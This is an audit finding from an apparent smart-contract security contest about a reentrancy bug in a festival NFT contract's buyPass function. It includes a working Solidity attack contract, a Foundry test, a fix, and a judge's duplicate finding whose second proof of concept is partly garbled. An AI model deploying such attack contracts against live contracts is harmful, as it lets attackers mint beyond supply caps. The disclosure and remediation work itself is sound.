Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass() adopts a method of minting first and then accounting, providing attackers with reentrancy opportunities.

Root + Impact

Description

  • Normal: The user calls the buyPass() function to purchase a pass.

  • Error:The attacker calls buyPass() in a contract manner. When executing _mint, the attacker's malicious contract is called back for reentrancy.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
//@_mint is placed at the front, providing space for malicious contract callbacks.
_mint(msg.sender, collectionId, 1, "");
//@This line is recorded after _mint
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • When an attacker designs a contract call for the buyPass() function with a reentrancy attack, when executing to _mint, ERC1155 checks whether the specified address is a contract. Since the specified address is the attacker's contract, the onERC1155Receive function in the contract is called, allowing the attacker to launch a reentrancy attack.

Impact:

  • The attacker can re-enter multiple times in exchange for obtaining more passes than the maximum set by the Organizer.

Proof of Concept

The attacker writes an attack contract, calls the buyPass() function, and purchases a pass with id 3.

When executing to _mint, the onERC1155Receive callback of ERC1155 is triggered.

The onERC1155Receive function in the attack contract executes the buyPass() function again, thereby achieving a reentrancy attack.

//SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
interface FestivalPass {
function buyPass(uint256 passId) external payable;
}
contract Attack {
FestivalPass public festivalPass;
bool public start;
constructor(address _festivalPass) {
festivalPass = FestivalPass(_festivalPass);// @audit this is a reentrancy attack on the festival pass contract
}
function onERC1155Received(address,address,uint256,uint256,bytes calldata data) external returns (bytes4) {
if(!start) {
start = true;
festivalPass.buyPass{value: 0.25 ether}(3);
}
return this.onERC1155Received.selector;
}
function startAttack() external {
festivalPass.buyPass{value: 0.25 ether}(3);
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {Attack} from "../src/Attack.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract AttackTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
Attack public attacker;
address public owner;
address public organizer;
address public user1;
address public user2;
// Pass configuration
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
uint256 constant GENERAL_MAX_SUPPLY = 5000;
uint256 constant VIP_MAX_SUPPLY = 1000;
uint256 constant BACKSTAGE_MAX_SUPPLY = 100;
// Events to test
event PassPurchased(address indexed buyer, uint256 indexed passId);
event PerformanceCreated(uint256 indexed performanceId, uint256 startTime, uint256 endTime);
event Attended(address indexed attendee, uint256 indexed performanceId, uint256 reward);
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
// Deploy contracts
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
attacker = new Attack(address(festivalPass));
// Set festival contract in BeatToken
beatToken.setFestivalContract(address(festivalPass));
// Configure passes as organizer
vm.startPrank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, GENERAL_MAX_SUPPLY);
festivalPass.configurePass(2, VIP_PRICE, VIP_MAX_SUPPLY);
festivalPass.configurePass(3, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
vm.stopPrank();
// Fund test users
vm.deal(user1, 10 ether);
vm.deal(user2, 10 ether);
}
function test_Attack() public {
vm.deal(address(attacker), 10 ether);
attacker.startAttack();
assertEq(address(festivalPass).balance, 0.5 ether);
assertEq(ERC1155(address(festivalPass)).balanceOf(address(attacker), 3), 2);
}
}

Recommended Mitigation

Move the accounting code before _mint.

When an attacker re-enters, it is treated like a normal call, and the number of each re-entry is recorded.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!